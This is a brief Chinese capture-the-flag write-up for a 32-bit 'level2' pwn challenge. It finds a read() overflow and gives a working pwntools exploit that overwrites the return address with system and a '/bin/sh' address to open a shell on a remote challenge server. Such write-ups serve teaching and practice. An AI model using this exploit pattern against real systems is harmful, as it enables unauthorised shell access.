1.题目
2.IDA分析
3.流程分析
流程很简单,输入信息,输出hello world。read函数也存在明显的溢出点。问题是没有找到现成可用的函数cat flag或者调用system函数。因此,只能我们自己构造。
如上图 我们可以获取到system和‘/bin/sh’的地址(注意,/bin/sh在.data段,如果是.rdata段则不能利用,原因还没有找到,可能是因为rdata只读不能执行?知道的读者麻烦评论告知一下~),exp如下:
from pwn import *
#io = process('./level2')
io = remote('220.249.52.133', 38994)
elf = ELF('./level2/level2')
payload = 'a' * 0x8c+ p32(elf.symbols['system']) + 'a'*4+ p32(0x804a024)
io.sendlineafter('Input:\n',payload)
io.interactive()